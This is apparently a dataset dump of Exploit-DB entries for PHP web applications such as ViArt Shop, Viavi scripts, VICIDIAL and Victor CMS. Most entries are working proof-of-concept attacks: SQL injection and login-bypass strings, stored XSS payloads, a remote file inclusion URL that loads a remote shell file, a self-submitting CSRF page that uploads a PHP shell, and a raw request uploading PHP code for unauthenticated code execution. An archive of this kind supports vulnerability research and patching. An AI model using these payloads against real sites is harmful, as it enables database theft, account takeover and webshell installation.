deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15572
Description: ViArt Shop 4.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-19
Author: Ariko-Security

Exploit:
# Title: [ViArt SHOP multiple vulnerabilities]
# Date: [18.11.2010]
# Author: [Ariko-Security]
# Software Link: [http://www.viart.com]
# Version: [4.0.5]


============ { Ariko-Security - Advisory #2/11/2010 } =============

ViArt SHOP multiple vulnerabilities

Vendor's Description of Software and demo:
# http://demo-shop.viart.com/ & http://www.viart.com

Dork:
# N/A

Application Info:
# ViArt SHOP
# version last 4.0.5

Vulnerability Info:
# Type: multiple SQL injections, multiple XSS, multiple iFrame injections, multiple link injections , redirector abuse.

Time Table:
# 10/11/2010 - Vendor notified.
# 18/11/2010 - Vendor released fix (partial)

Fix: 
# http://www.viart.com/update_logic_to_increase_site_security_and_fix_xss-compatibility_issues.html

SQL injections:

Input passed via the "rnd" parameter to products_search.php is not properly
sanitised before being used in a SQL query.
Input passed via the "filter" parameter to products.php is not properly
sanitised before being used in a SQL query.

XSS, iFrame Injections, Link injections:


Input passed to the "search_category_id" and "category_id" parameters in ads.php is not properly
sanitised before being returned to the user.

Input passed to the "category_id" parameter in article.php and articles.php is not properly
sanitised before being returned to the user.

Input passed to the "rp" parameter in basket.php and product_details.php is not properly
sanitised before being returned to the user.

Input passed to the "postal_code" parameter in shipping_calculator.php is not properly
sanitised before being returned to the user.

Input passed to the "s_fds" , "s_tit" ,"s_cod" parameters in search.php is not properly
sanitised before being returned to the user.

Input passed to the "s_sds" parameter in ads_search.php is not properly
sanitised before being returned to the user.

URL redirector ABUSE:

user_profile.php vulnerable parameter "return_page"


Solution:
# Input validation of all vulnerable parameters should be corrected.

Credit:
# Discoverd By: Ariko-Security 2010
Advisory:
# http://advisories.ariko-security.com/november/audyt_bezpieczenstwa_746.html
Exploit-DB #21524
Description: ViArt Shop Evaluation 4.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2012-09-26
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: ViArt Shop Evaluation v4.1 Multiple Remote File Inclusion Vulnerability
### Date: 26/9/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.viart.com/
### Software Link: http://www.viart.com/downloads/viart_shop-4.1.zip
### Version: 4.1
### Tested on: Linux/Windows 
############################################

# Affected files :

1- ( /admin/admin_header.php ) on line 13 :

include_once($root_folder_path . "messages/" . $language_code . "/cart_messages.php");

2- ( /includes/ajax_list_tree.php ) on line 29 :

include_once($root_folder_path . "includes/navigator.php");

3- ( /includes/previews_functions.php ) on line 13 :

include_once($root_folder_path . "includes/sql_functions.php");

# P.O.C :

http://127.0.0.1/viart_shop-4.1/admin/admin_header.php?root_folder_path=http://127.0.0.1/shell.txt?

http://127.0.0.1/viart_shop-4.1/includes/ajax_list_tree.php?root_folder_path=http://127.0.0.1/shell.txt?

http://127.0.0.1/viart_shop-4.1/includes/previews_functions.php?root_folder_path=http://127.0.0.1/shell.txt?

############################################

# Greetz to my friendz
Exploit-DB #39932
Description: Viart Shopping Cart 5.0 - Cross-Site Request Forgery / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-13
Author: Ali Ghanbari

Exploit:
<!--
# Exploit Title : Viart Shopping Cart 5.0 CSRF Shell Upload Vulnerability
# Date : 2016/06/12
# Google Dork : Script-Kiddie ;)
# Exploit Author : Ali Ghanbari
# Vendor Homepage : http://www.viart.com/
# Software Link  : http://www.viart.com/php_shopping_cart_free_evaluation_download.html
# Version : 5.0


#POC
-->

<html>
  <body onload="submitRequest();">
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/admin/admin_fm_upload_files.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED]17035");
        xhr.withCredentials = "true";
        var body = "----------------------------[PII_REDACTED]17035\r\n" +
          "Content-Disposition: form-data; name=\"dir_root\"\r\n" +
          "\r\n" +
          "../images\r\n" +
          "----------------------------[PII_REDACTED]17035\r\n" +
          "Content-Disposition: form-data; name=\"newfile_0\"; filename=\"[shell.php]\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED]17035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
  </body>
</html>

<!--
#Desc:

upload exploit code in your host and send link to admin when admin click on link, you can
access to your shell from below path :

http://localhost/images/[your shell]

####################################
 
[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007  
-->
Exploit-DB #41316
Description: Viavi Movie Review - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Viavi Movie Review - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://viavilab.com/
# Software Buy: https://codecanyon.net/item/movie-review/12729570
# Demo: http://viavilab.com/codecanyon/movie_review_demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/genres.php?id=[SQL]
# Etc..
# # # # #
Exploit-DB #41317
Description: Viavi Product Review - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Viavi Product Review - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://viavilab.com/
# Software Buy: https://codecanyon.net/item/product-review/12406163
# Demo: http://viavilab.com/codecanyon/product_review_demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?id=[SQL]
# Etc..
# # # # #
Exploit-DB #41315
Description: Viavi Real Estate - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Viavi Real Estate - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://viavilab.com/
# Software Buy: https://codecanyon.net/item/viavi-real-estate/11217313
# Demo: http://viavilab.com/codecanyon/real_estate_demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/property-detail.php?pid=[SQL]
# http://localhost/[PATH]/buysalerent.php?sort=[SQL]
# Etc..
# # # # #
Exploit-DB #51033
Description: VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2023-03-22
Author: Edd13Mora

Exploit:
# Exploit Title: VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities
# Google Dork: intext:"Wallpaper Admin"   "LOGIN" "password" "Username"
# Date: [18/09/2022]
# Exploit Author: [Edd13Mora]
# Vendor Homepage: [www.viaviweb.com]
# Version: [N/A]
# Tested on: [Windows 11 - Kali Linux]

------------------
SQLI on the Login page
------------------
payload --> admin' or 1=1-- -
---
POC:
---
[1] Disable JavaScript on ur browser put the payload and submit
[2] Reactive JavaScript and resend the request
---------------------------
Authenticated SQL Injection:
---------------------------
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/edit_gallery_image.php?img_id=[number]
-----------------------------------------------
Remote Code Execution (RCE none authenticated):
-----------------------------------------------
Poc:
----
Vulnerable End-Point --> http://localhost/PAth-Where-Script-Installed/add_gallery_image.php?add=yes
--------------------
Burp Request :
--------------------

POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2
Host: http://googlezik.freehostia.com
Cookie: _octo=GH1.1.993[PII_REDACTED]458698; PHPSESSID=qh3c29sbjr009jdg8oraed4o52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]221367848
Content-Length: 467
Origin: http://googlezik.freehostia.com
Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

----------------------------[PII_REDACTED][PII_REDACTED]221367848
Content-Disposition: form-data; name="category_id"

1
----------------------------[PII_REDACTED][PII_REDACTED]221367848
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: image/png

<?php phpinfo(); ?>
----------------------------[PII_REDACTED][PII_REDACTED]221367848
Content-Disposition: form-data; name="submit"


----------------------------[PII_REDACTED][PII_REDACTED]221367848--


Uploaded File can be found here :
--------------------------------
http://localhost/PAth-Where-Script-Installed/categories/
```
Exploit-DB #6978
Description: Vibro-CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-11-04
Author: StAkeR

Exploit:
/*
   -------------------------------------------------------
   Vibro-CMS Multiple Remote SQL Injection Vulnerabilities
   -------------------------------------------------------
   Discovered By StAkeR[at]hotmail[dot]it
   http://www.niclor.net/prodotti/Vibro-CMS
   -------------------------------------------------------

   * Remote SQL Injection
   * Note: Works Regardless PHP.ini Settings
   
   - view_pagina.php?pId=1 union select null,concat_ws(0x3a,user(),version(),database()),null/*
   - view_sub-pagina.php?pId=1 union select 0,concat(database(),0x3a,user()),version(),3/*
   - view_news.php?nID=4 union select 0,0,user(),1,2,3,4,database(),6,7,8,version(),0/*
   
   * Demo
   
   - http://www.niclor.net/prodotti/Vibro-CMS/view_pagina.php?pId=1 union select 0,concat_ws(0x3a,user(),version(),database()),0/*
   - http://www.niclor.net/prodotti/Vibro-CMS/ view_sub-pagina.php?pId=1 union select 0,concat(database(),0x3a,user()),version(),3/*
   - http://www.niclor.net/prodotti/Vibro-CMS/view_news.php?nID=4 union select 0,0,user(),1,2,3,4,database(),6,7,8,version(),0/*
   
   

*/

# milw0rm.com [2008-11-04]
Exploit-DB #36081
Description: VicBlog - 'tag' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-24
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/49304/info

VicBlog is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/vicblog/index.php?page=posts&tag=1%27
Exploit-DB #37979
Description: VicBlog - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-10-26
Author: Geek

Exploit:
source: https://www.securityfocus.com/bid/56307/info

VicBlog is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/domain.tld/index.php?page=posts${tag or upated_max paramater}=1[SQLi]
Exploit-DB #8755
Description: VICIDIAL 2.0.5-173 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-21
Author: Striker7

Exploit:
#      _ _ _  _ _ _        _      _ _  _ _ _   _____
# _ _ |_   _| |  _ )  (_) | |__  |     |  _ )      /
#(_-<   | |   | |_//  | | | / /  |---> | |_//     /
#/__/   |_|   | |  \\ |_| |_\_\  |_ _  | |  \\   /
#########################################################################################################
[+] Type Exploit :VICIDIAL call center suite (Admin Bypass) SQL Injection Vulnerability
[+] Script Homepage :http://www.vicidial.org
[+] Discovered By Striker7
[+] Greate : His0k4 , Super Cristal , Yassine_enp , Dreadful ,Str0ke, And ALl Hacker Muslims(Dz)
[+] www.Snakespc.com
[+] Back To Hacker Of Nother Method
#########################################################################################################
 [+] Exploit(Ex):
  http://[Target].com/[path]/admin.php
   then >>
   Username:   ' or '1=1
   Password:   ' or '1=1
   [+]Live Demo:
   http://www.vicidial.org/vicidial/admin.php
#########################################################################################################

# milw0rm.com [2009-05-21]
Exploit-DB #39970
Description: Vicidial 2.11 - Scripts Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-17
Author: David Silveiro

Exploit:
# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download


Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.

The vulnerablility is triggered when an authenticated with user sufficient permissions, 
creates a script (small text document that the agents use for remembering lines)without 
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature 
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
 agent, it could very easily be used to infect other hosts on the Network.

POC:

http://localhost.com/vicidial_demo/admin.php?ADD=1111111

POST Data (script_name & script_text); 

ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT

Click 'Preview Script'

    <html>

    <head></head>
    <body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
        <font size="2" color="BLACK" face="ARIAL,HELVETICA">
            <font size="2" color="BLACK" face="ARIAL,HELVETICA">

                Preview Script: 1017

                <br></br>
                <table width="600">
                    <tbody>
                        <tr>
                            <td>
                                <center>
                                <script>

                                    alert('XSS!')

                                </script>
                                    <br></br>
                                </center>
                                <script>

                                    alert('XSS 2!')

                                </script>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </font>
        </font>
    </body>
    </html>
Exploit-DB #37785
Description: VICIDIAL Call Center Suite - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-09-10
Author: Ertebat Gostar Co

Exploit:
source: https://www.securityfocus.com/bid/55476/info

VICIDIAL Call Center Suite is prone to multiple SQL-injection vulnerabilities and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VICIDIAL Call Center Suite 2.2.1-237 and prior are vulnerable. 

http://www.example.com/AST_agent_time_sheet.php?agent=some-agent' and sleep(15)='&calls_summary=1&query_date=2012-09-07

http://www.example.com/AST_timeonVDADall.php?adastats=1&DB=0&groups[]=1345' and sleep(15)='&RR=4

http://www.example.com/vicidial_demo/user_stats.php?user=2000' and sleep(10)='
Exploit-DB #48511
Description: Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-25
Author: Nitya Nand

Exploit:
# Exploit Title: Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting
# Google Dork: N/A 
# Date: 2020-05-23 
# Exploit Author: Nitya Nand 
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite 
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip 
# Version: 1.0 
# Tested on: Linux 
# CVE : N/A


Description: The POST parameter 'user_name', 'user_firstname', 'user_lastname' is vulnerable to persistent cross site scripting Payload: <script>alert(1)</script>
POST /phpmaster/admin/users.php?source=add_user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpmaster/admin/users.php?source=add_user
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]435428
Content-Length: 417375
Connection: close
Cookie: PHPSESSID=8810e038f92cd7c711ee8b95db1dcacb
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_name"
"><script>alert(1)</script>

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_firstname"
"><script>alert(2)</script>

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_lastname"
"><script>alert(3)</script>

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_image"; filename="9400.jpg"
Content-Type: image/jpeg

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_role"
User

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_email"
abc@gmail.com

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="user_password"
1234

----------------------------[PII_REDACTED][PII_REDACTED]435428

Content-Disposition: form-data; name="create_user"

Add User
----------------------------[PII_REDACTED][PII_REDACTED]435428--
Exploit-DB #48485
Description: Victor CMS 1.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-19
Author: Kishan Lal Choudhary

Exploit:
# Exploit Title: Victor CMS 1.0 - 'cat_id' SQL Injection
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The GET parameter 'category.php?cat_id=' is vulnerable to SQL Injection


Payload: UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--


http://localhost/category.php?cat_id=-1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--

By exploiting the SQL Injection vulnerability by using the mentioned payload, an attacker will be able to retrieve the database name and version of mysql running on the server.
Exploit-DB #48484
Description: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-19
Author: Kishan Lal Choudhary

Exploit:
# Exploit Title: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The POST parameter 'comment_author' is vulnerable to stored cross site scripting
Payload: <script>alert(1)</script>


POST /post.php?post=1 HTTP/1.1
Host: localhost
Content-Length: 146
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/post.php?post=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close

comment_author=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&comment_email=lol%40lol.com&comment_content=%3Cp%3Etester%3C%2Fp%3E&create_comment=


------------------------------------------------------------------------------------------------------------------------------------------------------------------

CSRF

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://149.28.135.91/post.php?post=1" method="POST">
      <input type="hidden" name="comment&#95;author" value="<script>alert&#40;"XSS"&#41;<&#47;script>" />
      <input type="hidden" name="comment&#95;email" value="lol&#64;lol&#46;com" />
      <input type="hidden" name="comment&#95;content" value="<p>tester<&#47;p>" />
      <input type="hidden" name="create&#95;comment" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>